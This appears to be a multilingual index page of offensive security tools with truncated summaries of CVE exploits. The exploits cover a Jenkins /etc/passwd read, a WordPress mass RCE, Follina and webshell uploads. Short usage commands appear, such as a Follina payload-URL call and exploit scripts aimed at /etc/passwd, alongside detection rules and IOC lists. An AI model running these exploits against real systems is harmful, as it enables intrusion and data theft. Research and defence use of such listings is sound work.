Jenkins-CVE-2024-23897-

使用命令:python 3 CVE-2024-23897 . py-l 2 . txt-f/etc/passwd把全球资源定位器Uniform Resource Locator写入2.txt即可批量...

CVE-2025-34085-Multi-target

CVE-2025-34085 Escáner RCE Multiobjetivo Escáner de explotación masiva para CVE-2025-34085 — una vulnerabilidad de ejecución remota de código no autenticada en el plugin Simple File List de WordPress. Esta herramienta sube un payload PHP disfrazado como imagen, lo renombra mediante un motor de...

pftriage

pftriage pftriage は、マルウェアトリアージ中にファイルを分析するためのツールです。アナリストはファイルのプロパティを迅速に表示・抽出し、トリアージプロセスを支援できます。また、マルウェアが使用する一般的な悪意のある指標を検出する分析機能も備えています。 依存関係 pefile file-magic オプション ssdeep オプション 注意: Mac の場合、Apple は独自の file コマンドを実装しています。しかし、libmagic は homebrew を使用してインストールできます。 root@kitploit: $ brew install libmagi...

Follina-CVE-2022-30190-POC

Follina-CVE-2022-30190 Prueba de concepto por Nee Uso root@kitploit: python3 follina.py --payload-url "http://192.168.200.144:1337/pwn.html" Qué hace Crea un archivo de Word malicioso que apunta a la URL del payload que especifiques Aloja el payload predeterminado ubicado en la carpeta web La...

CVE-2022-1386

説明 Fusion BuilderはWordPressのプラグインで、ユーザーがドラッグアンドドロップインターフェースを使用してページを作成・編集できるようにします。認証されていないSSRFに対して脆弱であり、攻撃者がサーバー上の任意のファイルを読み取ることを可能にします。 概念実証 リクエスト: root@kitploit: POST /wp-admin/admin-ajax.php HTTP/1.1 Host: redacted.com User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:98.0 Gecko/2010010...

CVE-2023-4220-exploit

CVE-2023-4220-漏洞利用 Chamilo LMS 版本 = 1.11.24 中，位于 /main/inc/lib/javascript/bigupload/inc/bigUpload.php 的大文件上传功能存在无限制文件上传漏洞，允许未经身份验证的攻击者通过上传 web shell 执行存储型跨站脚本攻击（Stored XSS）并获得远程代码执行。 PoC root@kitploit: bash CVE.2023-4220.sh -f webshell -u URL -l puerto...

File-Injector

File Injector If you want to use a previous version 1.0.2 or lower, where you needed the original image to extract the file, you can download it here. Index 1. Description 2. Getting Started Install requirements Run the script Choose input Choose a base image/audio Choose an input file...

CVE-2022-2414

EN GenXMLExternalEntityExploit は、XML External Entity XXE 脆弱性の悪用を実証する PoC スクリプトです。このスクリプトは、XML ペイロードを利用してターゲットサーバーから機密ファイルを読み取ります。セキュリティテスト、ペネトレーションテスト、または教育目的に使用できます。 特徴 作成した XML ペイロードを指定されたサーバーに送信します。 XXE 脆弱性を悪用してサーバーファイルを読み取ります。 ターゲット URL とペイロードデータを簡単にカスタマイズできます。 使い方 1. リポジトリをクローンする...

CVE-2024-36991

CVE-2024-36991 Nuclei 模板 描述 此仓库包含一个 Nuclei 模板，用于检测 Splunk Enterprise（Windows 版本低于 9.2.2、9.1.5 和 9.0.10）中的路径遍历漏洞。该漏洞允许未经授权访问敏感文件，例如 /etc/passwd。 CVE 详情 CVE ID ：CVE-2024-36991 漏洞类型 ：路径遍历 受影响软件 ：Splunk Enterprise（Windows 版本低于 9.2.2、9.1.5 和 9.0.10） 作者 ：Sardine Web 参考 ： Twitter 作者 使用方法 单次扫描...

CVE-2022-22972-

CVE-2022-22972-IOC 列表 IP 地址 • 23.36.163.250 • 64.32.6.143 • 217.175.49.100 哈希 • 6f17c8af555321cca16fe1695cc420eb9079fd187b8fa71d840f3cfd1f796117 • 040db8eacbd482c12ba03ab1a7c738be • 97ac734b671c815c43ea3287732046d2177e5bdad63e12315acc4902b8baa04d •...

CVE-2025-6586

Download Plugin 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft forever 2: eth0: mtu 1500 qdisc...

CVE-2021-22204

CVE-2021-22204 - Exiftool 远程代码执行 描述 最近，研究人员 wcbowling 发现 Exiftool 工具中存在一个漏洞，使得恶意攻击者能够执行远程代码执行攻击。该漏洞是在 Gitlab 漏洞赏金计划中发现的，他们在其产品中使用了该工具作为依赖项。 使用方法 在第 12 行（createFile.sh）中，输入你自己的攻击机 IP 地址。 然后直接执行： $ bash createFile.sh 这将创建恶意文件 shell.djvu。通过使用 exiftool，你可以获得远程代码执行： $ sudo /usr/local/bin/exiftool...

CVE-2025-32206

CVE-2025-32206 - WordPress Processing Projects 「LABCAT Processing Projectsにおける危険なタイプのファイルの無制限アップロードの脆弱性により、攻撃者はWebサーバーにWebシェルをアップロードできます。これにより完全な侵害につながる可能性があります。」 🧑‍💻 エクスプロイトの説明 このPythonエクスプロイトスクリプトは、脆弱性のあるProcessing Projects...

PyStegosploit

PyStegosploit - ステガノグラフィとポリグロットによるエクスプロイト配信 video1 | video2 | page by Charmve - yidazhang1 at gmaildotcom, @Charmve @therealsaumil @amichael 2021年5月 Stegosploit...

CVE-2025-24071

CVE-2025-24071: Microsoft Windows ファイルエクスプローラーのなりすまし脆弱性（SilentExploit によるスクリプト） 📖 説明 このプロジェクトは、Windows ファイルエクスプローラーのなりすまし脆弱性 の検出と悪用の実証を行います。 問題は、ネットワークパスを含む Windows ライブラリファイル（.library-ms） が、直接の添付ファイルとして、またはアーカイブに埋め込まれて存在することに起因します。 このファイルを開くと、Windows がリモート（潜在的に悪意のある）ネットワークロケーションに NTLM ハッシュを漏洩...

CVE-2020-1938

CVE-2020-1938 Reglas de detección de Suricata root@kitploit: CNVD-2020-10487 CVE-2020-1938 alert tcp any any - any 8009 msg:"CNVD-2020-10487 Ghostcat"; content:"javax|2e|servlet|2e|include|2e|requesturi"; content:"javax|2e|servlet|2e|include|2e|pathinfo";...

CVE-2024-24919

Checkpoint POC Exploitは、テスト目的でCheckpointから機密ファイルを取得するためのエクスプロイトです。この記事に基づいています: https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/ 私はこのスクリプトの悪用について一切責任を負いません。ここでの意図は、防御側が自身のデバイスをテストするためのものです。...

CVE-2024-6651

CVE-2024-6651 POC XSS - CVE-2024-6651 针对 CVE-2024-6651 漏洞的可运行 PoC，该漏洞影响 WP File Upload 4.24.8 插件，允许在 WordPress 中执行反射型跨站脚本（XSS）。 📌 描述 该漏洞允许通过 WP File Upload 插件管理面板中一个未经清理的参数注入任意 JavaScript 代码。 攻击通过 File Browser 功能中的 dir 参数发生，允许在已认证用户（通常是管理员）的浏览器中执行 JavaScript。 ⚠️ 仅供教育目的和授权环境使用 。 🧠 漏洞类型 反射型 XSS 🧰 要求...

jsmon

JSMon JSMon - BugBounty向けJavaScript変更監視ツール このスクリプトを使用すると、監視したいWebサイト上のJavaScriptファイルを複数設定できます。スクリプトを実行するたびに、これらのファイルを取得し、以前のバージョンと比較します。変更があった場合、Telegram経由で通知され、スクリプトへのリンク、変更されたファイルサイズ、変更を簡単に確認できる差分ファイルを含むメッセージが送信されます。 インストール JSMonのインストール: root@kitploit: git clone https://github.com/robre/jsmon.g...

CVE-2019-2615

CVE-2019-2615 GET /beawlsmanagementinternal2/wlmanagement HTTP/1.1 Host: 192.168.5.137:7001 User-Agent: Mozilla/5.0 Windows NT 6.1; Win64; x64; rv:66.0 Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/ ;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encodin...